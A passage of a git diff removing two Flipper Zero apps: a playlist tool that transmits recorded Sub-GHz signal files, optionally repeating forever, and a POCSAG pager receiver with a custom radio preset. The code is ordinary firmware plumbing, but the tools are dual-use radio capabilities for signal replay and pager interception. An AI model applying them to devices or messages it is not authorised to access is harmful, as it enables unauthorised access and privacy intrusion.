== 1) { - i -= 1; - // errored, skip to next file - } else if(status < 0) { - break; - // exited, exit loop - } else if(status == 2) { - return false; - } else if(status == 3) { - //aqui rebobinamos y avanzamos de nuevo el fichero n-1 veces - //decrementamos el contador de ficheros enviados - worker->meta->current_count--; - if(worker->meta->current_count > 0) { - worker->meta->current_count--; - } - //rebobinamos el fichero - if(!flipper_format_rewind(fff_head)) { - FURI_LOG_E(TAG, "Failed to rewind file"); - return false; - } - //avanzamos el fichero n-1 veces - for(int j = 0; j < worker->meta->current_count; j++) { - flipper_format_read_string(fff_head, "sub", data); - } - break; - } - } - } // end of loop - return true; -} - -static int32_t playlist_worker_thread(void* ctx) { - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* fff_head = flipper_format_file_alloc(storage); - - PlaylistWorker* worker = ctx; - if(!flipper_format_file_open_existing(fff_head, furi_string_get_cstr(worker->file_path))) { - FURI_LOG_E(TAG, "Failed to open %s", furi_string_get_cstr(worker->file_path)); - worker->is_running = false; - - furi_record_close(RECORD_STORAGE); - flipper_format_free(fff_head); - return 0; - } - - playlist_worker_wait_pause(worker); - FlipperFormat* fff_data = flipper_format_string_alloc(); - - FuriString* data; - FuriString* preset; - FuriString* protocol; - data = furi_string_alloc(); - preset = furi_string_alloc(); - protocol = furi_string_alloc(); - - for(int i = 0; i < MAX(1, worker->meta->playlist_repetitions); i++) { - // infinite repetitions if playlist_repetitions is 0 - if(worker->meta->playlist_repetitions <= 0) { - --i; - } - ++worker->meta->current_playlist_repetition; - // send playlist - worker->meta->current_count = 0; - if(worker->ctl_request_exit) { - break; - } - - FURI_LOG_D( - TAG, - "Sending playlist (i %d rep %d b %d)", - i, - worker->meta->current_playlist_repetition, - worker->meta->playlist_repetitions); - - if(!playlist_worker_play_playlist_once( - worker, storage, fff_head, fff_data, data, preset, protocol)) { - break; - } - } - - furi_record_close(RECORD_STORAGE); - flipper_format_free(fff_head); - - furi_string_free(data); - furi_string_free(preset); - furi_string_free(protocol); - - flipper_format_free(fff_data); - - FURI_LOG_D(TAG, "Done reading. Read %d data lines.", worker->meta->current_count); - worker->is_running = false; - - // update state to overview - meta_set_state(worker->meta, STATE_OVERVIEW); - - return 0; -} - -//////////////////////////////////////////////////////////////////////////////// - -void playlist_meta_reset(DisplayMeta* instance) { - instance->current_count = 0; - instance->current_playlist_repetition = 0; - - furi_string_reset(instance->prev_0_path); - furi_string_reset(instance->prev_1_path); - furi_string_reset(instance->prev_2_path); - furi_string_reset(instance->prev_3_path); -} - -DisplayMeta* playlist_meta_alloc() { - DisplayMeta* instance = malloc(sizeof(DisplayMeta)); - instance->prev_0_path = furi_string_alloc(); - instance->prev_1_path = furi_string_alloc(); - instance->prev_2_path = furi_string_alloc(); - instance->prev_3_path = furi_string_alloc(); - playlist_meta_reset(instance); - instance->state = STATE_NONE; - instance->playlist_repetitions = 1; - return instance; -} - -void playlist_meta_free(DisplayMeta* instance) { - furi_string_free(instance->prev_0_path); - furi_string_free(instance->prev_1_path); - furi_string_free(instance->prev_2_path); - furi_string_free(instance->prev_3_path); - free(instance); -} - -//////////////////////////////////////////////////////////////////////////////// - -PlaylistWorker* playlist_worker_alloc(DisplayMeta* meta) { - PlaylistWorker* instance = malloc(sizeof(PlaylistWorker)); - - instance->thread = furi_thread_alloc(); - furi_thread_set_name(instance->thread, "PlaylistWorker"); - furi_thread_set_stack_size(instance->thread, 2048); - furi_thread_set_context(instance->thread, instance); - furi_thread_set_callback(instance->thread, playlist_worker_thread); - - instance->meta = meta; - instance->ctl_pause = true; // require the user to manually start the worker - - instance->file_path = furi_string_alloc(); - - subghz_devices_init(); - - instance->radio_device = - radio_device_loader_set(instance->radio_device, SubGhzRadioDeviceTypeExternalCC1101); - - subghz_devices_reset(instance->radio_device); - subghz_devices_idle(instance->radio_device); - - return instance; -} - -void playlist_worker_free(PlaylistWorker* instance) { - furi_assert(instance); - furi_thread_free(instance->thread); - furi_string_free(instance->file_path); - - subghz_devices_sleep(instance->radio_device); - radio_device_loader_end(instance->radio_device); - - subghz_devices_deinit(); - - free(instance); -} - -void playlist_worker_stop(PlaylistWorker* worker) { - furi_assert(worker); - furi_assert(worker->is_running); - - worker->ctl_request_exit = true; - furi_thread_join(worker->thread); -} - -bool playlist_worker_running(PlaylistWorker* worker) { - furi_assert(worker); - return worker->is_running; -} - -void playlist_worker_start(PlaylistWorker* instance, const char* file_path) { - furi_assert(instance); - furi_assert(!instance->is_running); - - furi_string_set(instance->file_path, file_path); - instance->is_running = true; - - // reset meta (current/total) - playlist_meta_reset(instance->meta); - - FURI_LOG_D(TAG, "Starting thread..."); - furi_thread_start(instance->thread); -} - -//////////////////////////////////////////////////////////////////////////////// - -static void render_callback(Canvas* canvas, void* ctx) { - Playlist* app = ctx; - furi_check(furi_mutex_acquire(app->mutex, FuriWaitForever) == FuriStatusOk); - - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontSecondary); - - FuriString* temp_str; - temp_str = furi_string_alloc(); - - switch(app->meta->state) { - case STATE_NONE: - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned( - canvas, WIDTH / 2, HEIGHT / 2, AlignCenter, AlignCenter, "No playlist loaded"); - break; - - case STATE_OVERVIEW: - // draw file name - { - path_extract_filename(app->file_path, temp_str, true); - - canvas_set_font(canvas, FontPrimary); - draw_centered_boxed_str(canvas, 1, 1, 15, 6, furi_string_get_cstr(temp_str)); - } - - canvas_set_font(canvas, FontSecondary); - - // draw loaded count - { - furi_string_printf(temp_str, "%d Items in playlist", app->meta->total_count); - canvas_draw_str_aligned( - canvas, 1, 19, AlignLeft, AlignTop, furi_string_get_cstr(temp_str)); - - if(app->meta->playlist_repetitions <= 0) { - furi_string_set(temp_str, "Repeat: inf"); - } else if(app->meta->playlist_repetitions == 1) { - furi_string_set(temp_str, "Repeat: no"); - } else { - furi_string_printf(temp_str, "Repeat: %dx", app->meta->playlist_repetitions); - } - canvas_draw_str_aligned( - canvas, 1, 29, AlignLeft, AlignTop, furi_string_get_cstr(temp_str)); - } - - // draw buttons - draw_corner_aligned(canvas, 40, 15, AlignCenter, AlignBottom); - - canvas_set_color(canvas, ColorWhite); - canvas_draw_str_aligned(canvas, WIDTH / 2 - 7, HEIGHT - 11, AlignLeft, AlignTop, "Start"); - canvas_draw_disc(canvas, WIDTH / 2 - 14, HEIGHT - 8, 3); - - // - canvas_set_color(canvas, ColorBlack); - draw_corner_aligned(canvas, 20, 15, AlignLeft, AlignBottom); - - canvas_set_color(canvas, ColorWhite); - canvas_draw_str_aligned(canvas, 4, HEIGHT - 11, AlignLeft, AlignTop, "R-"); - - // - canvas_set_color(canvas, ColorBlack); - draw_corner_aligned(canvas, 20, 15, AlignRight, AlignBottom); - canvas_set_color(canvas, ColorWhite); - canvas_draw_str_aligned(canvas, WIDTH - 4, HEIGHT - 11, AlignRight, AlignTop, "R+"); - - canvas_set_color(canvas, ColorBlack); - - break; - case STATE_SENDING: - canvas_set_color(canvas, ColorBlack); - if(app->worker->ctl_pause) { - canvas_draw_icon(canvas, 2, HEIGHT - 8, &I_ButtonRight_4x7); - } else { - canvas_draw_box(canvas, 2, HEIGHT - 8, 2, 7); - canvas_draw_box(canvas, 5, HEIGHT - 8, 2, 7); - } - - // draw progress text - { - canvas_set_font(canvas, FontSecondary); - furi_string_printf( - temp_str, "[%d/%d]", app->meta->current_count, app->meta->total_count); - canvas_draw_str_aligned( - canvas, 11, HEIGHT - 8, AlignLeft, AlignTop, furi_string_get_cstr(temp_str)); - - int h = canvas_string_width(canvas, furi_string_get_cstr(temp_str)); - int xs = 11 + h + 2; - int w = WIDTH - xs - 1; - canvas_draw_box(canvas, xs, HEIGHT - 5, w, 1); - - float progress = (float)app->meta->current_count / (float)app->meta->total_count; - int wp = (int)(progress * w); - canvas_draw_box(canvas, xs + wp - 1, HEIGHT - 7, 2, 5); - } - - { - if(app->meta->playlist_repetitions <= 0) { - furi_string_printf(temp_str, "[%d/Inf]", app->meta->current_playlist_repetition); - } else { - furi_string_printf( - temp_str, - "[%d/%d]", - app->meta->current_playlist_repetition, - app->meta->playlist_repetitions); - } - canvas_set_color(canvas, ColorBlack); - int w = canvas_string_width(canvas, furi_string_get_cstr(temp_str)); - draw_corner_aligned(canvas, w + 6, 13, AlignRight, AlignTop); - canvas_set_color(canvas, ColorWhite); - canvas_draw_str_aligned( - canvas, WIDTH - 3, 3, AlignRight, AlignTop, furi_string_get_cstr(temp_str)); - } - - // draw last and current file - { - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontSecondary); - - // current - if(!furi_string_empty(app->meta->prev_0_path)) { - path_extract_filename(app->meta->prev_0_path, temp_str, true); - int w = canvas_string_width(canvas, furi_string_get_cstr(temp_str)); - canvas_set_color(canvas, ColorBlack); - canvas_draw_rbox(canvas, 1, 1, w + 4, 12, 2); - canvas_set_color(canvas, ColorWhite); - canvas_draw_str_aligned( - canvas, 3, 3, AlignLeft, AlignTop, furi_string_get_cstr(temp_str)); - } - - // last 3 - canvas_set_color(canvas, ColorBlack); - - if(!furi_string_empty(app->meta->prev_1_path)) { - path_extract_filename(app->meta->prev_1_path, temp_str, true); - canvas_draw_str_aligned( - canvas, 3, 15, AlignLeft, AlignTop, furi_string_get_cstr(temp_str)); - } - - if(!furi_string_empty(app->meta->prev_2_path)) { - path_extract_filename(app->meta->prev_2_path, temp_str, true); - canvas_draw_str_aligned( - canvas, 3, 26, AlignLeft, AlignTop, furi_string_get_cstr(temp_str)); - } - - if(!furi_string_empty(app->meta->prev_3_path)) { - path_extract_filename(app->meta->prev_3_path, temp_str, true); - canvas_draw_str_aligned( - canvas, 3, 37, AlignLeft, AlignTop, furi_string_get_cstr(temp_str)); - } - } - break; - default: - break; - } - - furi_string_free(temp_str); - furi_mutex_release(app->mutex); -} - -static void input_callback(InputEvent* event, void* ctx) { - Playlist* app = ctx; - furi_message_queue_put(app->input_queue, event, 0); -} - -//////////////////////////////////////////////////////////////////////////////// - -Playlist* playlist_alloc(DisplayMeta* meta) { - Playlist* app = malloc(sizeof(Playlist)); - app->file_path = furi_string_alloc(); - furi_string_set(app->file_path, PLAYLIST_FOLDER); - - app->meta = meta; - app->worker = NULL; - - app->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - app->input_queue = furi_message_queue_alloc(32, sizeof(InputEvent)); - - // view port - app->view_port = view_port_alloc(); - view_port_draw_callback_set(app->view_port, render_callback, app); - view_port_input_callback_set(app->view_port, input_callback, app); - - // gui - app->gui = furi_record_open(RECORD_GUI); - gui_add_view_port(app->gui, app->view_port, GuiLayerFullscreen); - - return app; -} - -void playlist_start_worker(Playlist* app, DisplayMeta* meta) { - app->worker = playlist_worker_alloc(meta); - - // count playlist items - Storage* storage = furi_record_open(RECORD_STORAGE); - app->meta->total_count = - playlist_count_playlist_items(storage, furi_string_get_cstr(app->file_path)); - furi_record_close(RECORD_STORAGE); - - // start thread - playlist_worker_start(app->worker, furi_string_get_cstr(app->file_path)); -} - -void playlist_free(Playlist* app) { - furi_string_free(app->file_path); - - gui_remove_view_port(app->gui, app->view_port); - furi_record_close(RECORD_GUI); - view_port_free(app->view_port); - - furi_message_queue_free(app->input_queue); - furi_mutex_free(app->mutex); - - playlist_meta_free(app->meta); - - free(app); -} - -int32_t playlist_app(void* p) { - UNUSED(p); - - // create playlist folder - { - Storage* storage = furi_record_open(RECORD_STORAGE); - if(!storage_simply_mkdir(storage, PLAYLIST_FOLDER)) { - FURI_LOG_E(TAG, "Could not create folder %s", PLAYLIST_FOLDER); - } - furi_record_close(RECORD_STORAGE); - } - - // create app - DisplayMeta* meta = playlist_meta_alloc(); - Playlist* app = playlist_alloc(meta); - meta->view_port = app->view_port; - - furi_hal_power_suppress_charge_enter(); - - // select playlist file - { - DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS); - DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options(&browser_options, PLAYLIST_EXT, &I_sub1_10px); - browser_options.hide_ext = false; - - const bool res = - dialog_file_browser_show(dialogs, app->file_path, app->file_path, &browser_options); - furi_record_close(RECORD_DIALOGS); - // check if a file was selected - if(!res) { - FURI_LOG_E(TAG, "No file selected"); - goto exit_cleanup; - } - } - - //////////////////////////////////////////////////////////////////////////////// - - playlist_start_worker(app, meta); - meta_set_state(app->meta, STATE_OVERVIEW); - - bool exit_loop = false; - InputEvent input; - while(1) { // close application if no file was selected - furi_check( - furi_message_queue_get(app->input_queue, &input, FuriWaitForever) == FuriStatusOk); - - switch(input.key) { - case InputKeyLeft: - if(app->meta->state == STATE_OVERVIEW) { - if(input.type == InputTypeShort && app->meta->playlist_repetitions > 0) { - --app->meta->playlist_repetitions; - } - } else if(app->meta->state == STATE_SENDING) { - if(input.type == InputTypeShort) { - app->worker->ctl_request_prev = true; - } - } - break; - - case InputKeyRight: - if(app->meta->state == STATE_OVERVIEW) { - if(input.type == InputTypeShort) { - ++app->meta->playlist_repetitions; - } - } else if(app->meta->state == STATE_SENDING) { - if(input.type == InputTypeShort) { - app->worker->ctl_request_skip = true; - } - } - break; - - case InputKeyOk: - if(input.type == InputTypeShort) { - // toggle pause state - if(!app->worker->is_running) { - app->worker->ctl_pause = false; - app->worker->ctl_request_exit = false; - playlist_worker_start(app->worker, furi_string_get_cstr(app->file_path)); - } else { - app->worker->ctl_pause = !app->worker->ctl_pause; - } - } - break; - case InputKeyBack: - FURI_LOG_D(TAG, "Pressed Back button. Application will exit"); - exit_loop = true; - break; - default: - break; - } - - furi_mutex_release(app->mutex); - - // exit application - if(exit_loop == true) { - break; - } - - view_port_update(app->view_port); - } - -exit_cleanup: - - furi_hal_power_suppress_charge_exit(); - - if(app->worker != NULL) { - if(playlist_worker_running(app->worker)) { - FURI_LOG_D(TAG, "Thread is still running. Requesting thread to finish ..."); - playlist_worker_stop(app->worker); - } - FURI_LOG_D(TAG, "Freeing Worker ..."); - playlist_worker_free(app->worker); - } - - FURI_LOG_D(TAG, "Freeing Playlist ..."); - playlist_free(app); - return 0; -} diff --git a/applications/external/playlist/playlist_10px.png b/applications/external/playlist/playlist_10px.png deleted file mode 100644 index fc33471f7..000000000 Binary files a/applications/external/playlist/playlist_10px.png and /dev/null differ diff --git a/applications/external/playlist/playlist_file.c b/applications/external/playlist/playlist_file.c deleted file mode 100644 index e3540648e..000000000 --- a/applications/external/playlist/playlist_file.c +++ /dev/null @@ -1,21 +0,0 @@ -#include - -#include -#include - -int playlist_count_playlist_items(Storage* storage, const char* file_path) { - FlipperFormat* format = flipper_format_file_alloc(storage); - if(!flipper_format_file_open_existing(format, file_path)) { - return -1; - } - int count = 0; - FuriString* data; - data = furi_string_alloc(); - while(flipper_format_read_string(format, "sub", data)) { - ++count; - } - flipper_format_file_close(format); - flipper_format_free(format); - furi_string_free(data); - return count; -} diff --git a/applications/external/playlist/playlist_file.h b/applications/external/playlist/playlist_file.h deleted file mode 100644 index fb708edc7..000000000 --- a/applications/external/playlist/playlist_file.h +++ /dev/null @@ -1,7 +0,0 @@ -#pragma once - -#include - -#include - -int playlist_count_playlist_items(Storage* storage, const char* file_path); diff --git a/applications/external/pocsag_pager/application.fam b/applications/external/pocsag_pager/application.fam deleted file mode 100644 index cb893f66f..000000000 --- a/applications/external/pocsag_pager/application.fam +++ /dev/null @@ -1,15 +0,0 @@ -App( - appid="pocsag_pager", - name="POCSAG Pager", - apptype=FlipperAppType.EXTERNAL, - entry_point="pocsag_pager_app", - requires=["gui"], - stack_size=4 * 1024, - order=50, - fap_icon="pocsag_pager_10px.png", - fap_category="Sub-GHz", - fap_icon_assets="images", - fap_author="@xMasterX & @Shmuma", - fap_version="1.0", - fap_description="App can capture POCSAG 1200 messages on CC1101 supported frequencies.", -) diff --git a/applications/external/pocsag_pager/helpers/pocsag_pager_event.h b/applications/external/pocsag_pager/helpers/pocsag_pager_event.h deleted file mode 100644 index 8bcf64a30..000000000 --- a/applications/external/pocsag_pager/helpers/pocsag_pager_event.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once - -typedef enum { - //PCSGCustomEvent - PCSGCustomEventStartId = 100, - - PCSGCustomEventSceneSettingLock, - - PCSGCustomEventViewReceiverOK, - PCSGCustomEventViewReceiverConfig, - PCSGCustomEventViewReceiverBack, - PCSGCustomEventViewReceiverOffDisplay, - PCSGCustomEventViewReceiverUnlock, -} PCSGCustomEvent; diff --git a/applications/external/pocsag_pager/helpers/pocsag_pager_types.h b/applications/external/pocsag_pager/helpers/pocsag_pager_types.h deleted file mode 100644 index fabd7f321..000000000 --- a/applications/external/pocsag_pager/helpers/pocsag_pager_types.h +++ /dev/null @@ -1,49 +0,0 @@ -#pragma once - -#include -#include - -#define PCSG_VERSION_APP "0.1" -#define PCSG_DEVELOPED "@xMasterX & @Shmuma" -#define PCSG_GITHUB "https://github.com/xMasterX/flipper-pager" - -#define PCSG_KEY_FILE_VERSION 1 -#define PCSG_KEY_FILE_TYPE "Flipper POCSAG Pager Key File" - -/** PCSGRxKeyState state */ -typedef enum { - PCSGRxKeyStateIDLE, - PCSGRxKeyStateBack, - PCSGRxKeyStateStart, - PCSGRxKeyStateAddKey, -} PCSGRxKeyState; - -/** PCSGHopperState state */ -typedef enum { - PCSGHopperStateOFF, - PCSGHopperStateRunnig, - PCSGHopperStatePause, - PCSGHopperStateRSSITimeOut, -} PCSGHopperState; - -/** PCSGLock */ -typedef enum { - PCSGLockOff, - PCSGLockOn, -} PCSGLock; - -typedef enum { - POCSAGPagerViewVariableItemList, - POCSAGPagerViewSubmenu, - POCSAGPagerViewReceiver, - POCSAGPagerViewReceiverInfo, - POCSAGPagerViewWidget, -} POCSAGPagerView; - -/** POCSAGPagerTxRx state */ -typedef enum { - PCSGTxRxStateIDLE, - PCSGTxRxStateRx, - PCSGTxRxStateTx, - PCSGTxRxStateSleep, -} PCSGTxRxState; diff --git a/applications/external/pocsag_pager/helpers/radio_device_loader.c b/applications/external/pocsag_pager/helpers/radio_device_loader.c deleted file mode 100644 index ce0920755..000000000 --- a/applications/external/pocsag_pager/helpers/radio_device_loader.c +++ /dev/null @@ -1,66 +0,0 @@ -#include "radio_device_loader.h" - -#include -#include - -static void radio_device_loader_power_on() { - uint8_t attempts = 0; - while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { - furi_hal_power_enable_otg(); - //CC1101 power-up time - furi_delay_ms(10); - } -} - -static void radio_device_loader_power_off() { - if(furi_hal_power_is_otg_enabled()) furi_hal_power_disable_otg(); -} - -bool radio_device_loader_is_connect_external(const char* name) { - bool is_connect = false; - bool is_otg_enabled = furi_hal_power_is_otg_enabled(); - - if(!is_otg_enabled) { - radio_device_loader_power_on(); - } - - is_connect = subghz_devices_is_connect(subghz_devices_get_by_name(name)); - - if(!is_otg_enabled) { - radio_device_loader_power_off(); - } - return is_connect; -} - -const SubGhzDevice* radio_device_loader_set( - const SubGhzDevice* current_radio_device, - SubGhzRadioDeviceType radio_device_type) { - const SubGhzDevice* radio_device; - - if(radio_device_type == SubGhzRadioDeviceTypeExternalCC1101 && - radio_device_loader_is_connect_external(SUBGHZ_DEVICE_CC1101_EXT_NAME)) { - radio_device_loader_power_on(); - radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_EXT_NAME); - subghz_devices_begin(radio_device); - } else if(current_radio_device == NULL) { - radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME); - } else { - radio_device_loader_end(current_radio_device); - radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME); - } - - return radio_device; -} - -bool radio_device_loader_is_external(const SubGhzDevice* radio_device) { - furi_assert(radio_device); - return (radio_device != subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME)); -} - -void radio_device_loader_end(const SubGhzDevice* radio_device) { - furi_assert(radio_device); - radio_device_loader_power_off(); - if(radio_device != subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME)) { - subghz_devices_end(radio_device); - } -} \ No newline at end of file diff --git a/applications/external/pocsag_pager/helpers/radio_device_loader.h b/applications/external/pocsag_pager/helpers/radio_device_loader.h deleted file mode 100644 index bae4bacf2..000000000 --- a/applications/external/pocsag_pager/helpers/radio_device_loader.h +++ /dev/null @@ -1,17 +0,0 @@ -#pragma once - -#include - -/** SubGhzRadioDeviceType */ -typedef enum { - SubGhzRadioDeviceTypeInternal, - SubGhzRadioDeviceTypeExternalCC1101, -} SubGhzRadioDeviceType; - -const SubGhzDevice* radio_device_loader_set( - const SubGhzDevice* current_radio_device, - SubGhzRadioDeviceType radio_device_type); - -bool radio_device_loader_is_external(const SubGhzDevice* radio_device); - -void radio_device_loader_end(const SubGhzDevice* radio_device); \ No newline at end of file diff --git a/applications/external/pocsag_pager/images/Fishing_123x52.png b/applications/external/pocsag_pager/images/Fishing_123x52.png deleted file mode 100644 index 1e365de8f..000000000 Binary files a/applications/external/pocsag_pager/images/Fishing_123x52.png and /dev/null differ diff --git a/applications/external/pocsag_pager/images/Lock_7x8.png b/applications/external/pocsag_pager/images/Lock_7x8.png deleted file mode 100644 index f7c9ca2c7..000000000 Binary files a/applications/external/pocsag_pager/images/Lock_7x8.png and /dev/null differ diff --git a/applications/external/pocsag_pager/images/Message_8x7.png b/applications/external/pocsag_pager/images/Message_8x7.png deleted file mode 100644 index 642688cd5..000000000 Binary files a/applications/external/pocsag_pager/images/Message_8x7.png and /dev/null differ diff --git a/applications/external/pocsag_pager/images/Pin_back_arrow_10x8.png b/applications/external/pocsag_pager/images/Pin_back_arrow_10x8.png deleted file mode 100644 index 3bafabd14..000000000 Binary files a/applications/external/pocsag_pager/images/Pin_back_arrow_10x8.png and /dev/null differ diff --git a/applications/external/pocsag_pager/images/Quest_7x8.png b/applications/external/pocsag_pager/images/Quest_7x8.png deleted file mode 100644 index 6825247fb..000000000 Binary files a/applications/external/pocsag_pager/images/Quest_7x8.png and /dev/null differ diff --git a/applications/external/pocsag_pager/images/Scanning_123x52.png b/applications/external/pocsag_pager/images/Scanning_123x52.png deleted file mode 100644 index ec785948d..000000000 Binary files a/applications/external/pocsag_pager/images/Scanning_123x52.png and /dev/null differ diff --git a/applications/external/pocsag_pager/images/Unlock_7x8.png b/applications/external/pocsag_pager/images/Unlock_7x8.png deleted file mode 100644 index 9d82b4daf..000000000 Binary files a/applications/external/pocsag_pager/images/Unlock_7x8.png and /dev/null differ diff --git a/applications/external/pocsag_pager/images/WarningDolphin_45x42.png b/applications/external/pocsag_pager/images/WarningDolphin_45x42.png deleted file mode 100644 index d766ffbb4..000000000 Binary files a/applications/external/pocsag_pager/images/WarningDolphin_45x42.png and /dev/null differ diff --git a/applications/external/pocsag_pager/pocsag_pager_10px.png b/applications/external/pocsag_pager/pocsag_pager_10px.png deleted file mode 100644 index a5686c1c0..000000000 Binary files a/applications/external/pocsag_pager/pocsag_pager_10px.png and /dev/null differ diff --git a/applications/external/pocsag_pager/pocsag_pager_app.c b/applications/external/pocsag_pager/pocsag_pager_app.c deleted file mode 100644 index 70ff49f1a..000000000 --- a/applications/external/pocsag_pager/pocsag_pager_app.c +++ /dev/null @@ -1,206 +0,0 @@ -#include "pocsag_pager_app_i.h" - -#include -#include -#include -#include "protocols/protocol_items.h" - -static bool pocsag_pager_app_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - POCSAGPagerApp* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool pocsag_pager_app_back_event_callback(void* context) { - furi_assert(context); - POCSAGPagerApp* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void pocsag_pager_app_tick_event_callback(void* context) { - furi_assert(context); - POCSAGPagerApp* app = context; - scene_manager_handle_tick_event(app->scene_manager); -} - -POCSAGPagerApp* pocsag_pager_app_alloc() { - POCSAGPagerApp* app = malloc(sizeof(POCSAGPagerApp)); - - // GUI - app->gui = furi_record_open(RECORD_GUI); - - // View Dispatcher - app->view_dispatcher = view_dispatcher_alloc(); - app->scene_manager = scene_manager_alloc(&pocsag_pager_scene_handlers, app); - view_dispatcher_enable_queue(app->view_dispatcher); - - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, pocsag_pager_app_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, pocsag_pager_app_back_event_callback); - view_dispatcher_set_tick_event_callback( - app->view_dispatcher, pocsag_pager_app_tick_event_callback, 100); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - // Open Notification record - app->notifications = furi_record_open(RECORD_NOTIFICATION); - - // Variable Item List - app->variable_item_list = variable_item_list_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - POCSAGPagerViewVariableItemList, - variable_item_list_get_view(app->variable_item_list)); - - // SubMenu - app->submenu = submenu_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, POCSAGPagerViewSubmenu, submenu_get_view(app->submenu)); - - // Widget - app->widget = widget_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, POCSAGPagerViewWidget, widget_get_view(app->widget)); - - // Receiver - app->pcsg_receiver = pcsg_view_receiver_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - POCSAGPagerViewReceiver, - pcsg_view_receiver_get_view(app->pcsg_receiver)); - - // Receiver Info - app->pcsg_receiver_info = pcsg_view_receiver_info_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - POCSAGPagerViewReceiverInfo, - pcsg_view_receiver_info_get_view(app->pcsg_receiver_info)); - - //init setting - app->setting = subghz_setting_alloc(); - - //ToDo FIX file name setting - - subghz_setting_load(app->setting, EXT_PATH("pocsag/settings.txt")); - - //init Worker & Protocol & History - app->lock = PCSGLockOff; - app->txrx = malloc(sizeof(POCSAGPagerTxRx)); - app->txrx->preset = malloc(sizeof(SubGhzRadioPreset)); - app->txrx->preset->name = furi_string_alloc(); - - furi_hal_power_suppress_charge_enter(); - - // Radio Devices init & load - subghz_devices_init(); - app->txrx->radio_device = - radio_device_loader_set(app->txrx->radio_device, SubGhzRadioDeviceTypeExternalCC1101); - - subghz_devices_reset(app->txrx->radio_device); - subghz_devices_idle(app->txrx->radio_device); - - // Custom Presets load without using config file - - FlipperFormat* temp_fm_preset = flipper_format_string_alloc(); - flipper_format_write_string_cstr( - temp_fm_preset, - (const char*)"Custom_preset_data", - (const char*)"02 0D 0B 06 08 32 07 04 14 00 13 02 12 04 11 83 10 67 15 24 18 18 19 16 1D 91 1C 00 1B 07 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00"); - flipper_format_rewind(temp_fm_preset); - subghz_setting_load_custom_preset(app->setting, (const char*)"FM95", temp_fm_preset); - - flipper_format_free(temp_fm_preset); - - // custom presets loading - end - - pcsg_preset_init(app, "FM95", 439987500, NULL, 0); - - app->txrx->hopper_state = PCSGHopperStateOFF; - app->txrx->history = pcsg_history_alloc(); - app->txrx->worker = subghz_worker_alloc(); - app->txrx->environment = subghz_environment_alloc(); - subghz_environment_set_protocol_registry( - app->txrx->environment, (void*)&pocsag_pager_protocol_registry); - app->txrx->receiver = subghz_receiver_alloc_init(app->txrx->environment); - - subghz_receiver_set_filter(app->txrx->receiver, SubGhzProtocolFlag_Decodable); - subghz_worker_set_overrun_callback( - app->txrx->worker, (SubGhzWorkerOverrunCallback)subghz_receiver_reset); - subghz_worker_set_pair_callback( - app->txrx->worker, (SubGhzWorkerPairCallback)subghz_receiver_decode); - subghz_worker_set_context(app->txrx->worker, app->txrx->receiver); - - scene_manager_next_scene(app->scene_manager, POCSAGPagerSceneStart); - - return app; -} - -void pocsag_pager_app_free(POCSAGPagerApp* app) { - furi_assert(app); - - // Radio Devices sleep & off - pcsg_sleep(app); - radio_device_loader_end(app->txrx->radio_device); - - subghz_devices_deinit(); - - // Submenu - view_dispatcher_remove_view(app->view_dispatcher, POCSAGPagerViewSubmenu); - submenu_free(app->submenu); - - // Variable Item List - view_dispatcher_remove_view(app->view_dispatcher, POCSAGPagerViewVariableItemList); - variable_item_list_free(app->variable_item_list); - - // Widget - view_dispatcher_remove_view(app->view_dispatcher, POCSAGPagerViewWidget); - widget_free(app->widget); - - // Receiver - view_dispatcher_remove_view(app->view_dispatcher, POCSAGPagerViewReceiver); - pcsg_view_receiver_free(app->pcsg_receiver); - - // Receiver Info - view_dispatcher_remove_view(app->view_dispatcher, POCSAGPagerViewReceiverInfo); - pcsg_view_receiver_info_free(app->pcsg_receiver_info); - - //setting - subghz_setting_free(app->setting); - - //Worker & Protocol & History - subghz_receiver_free(app->txrx->receiver); - subghz_environment_free(app->txrx->environment); - pcsg_history_free(app->txrx->history); - subghz_worker_free(app->txrx->worker); - furi_string_free(app->txrx->preset->name); - free(app->txrx->preset); - free(app->txrx); - - // View dispatcher - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - // Notifications - furi_record_close(RECORD_NOTIFICATION); - app->notifications = NULL; - - // Close records - furi_record_close(RECORD_GUI); - - furi_hal_power_suppress_charge_exit(); - - free(app); -} - -int32_t pocsag_pager_app(void* p) { - UNUSED(p); - POCSAGPagerApp* pocsag_pager_app = pocsag_pager_app_alloc(); - - view_dispatcher_run(pocsag_pager_app->view_dispatcher); - - pocsag_pager_app_free(pocsag_pager_app); - - return 0; -} diff --git a/applications/external/pocsag_pager/pocsag_pager_app_i.c b/applications/external/pocsag_pager/pocsag_pager_app_i.c deleted file mode 100644 index 8dda1d8b6..000000000 --- a/applications/external/pocsag_pager/pocsag_pager_app_i.c +++ /dev/null @@ -1,146 +0,0 @@ -#include "pocsag_pager_app_i.h" - -#define TAG "POCSAGPager" -#include - -void pcsg_preset_init( - void* context, - const char* preset_name, - uint32_t 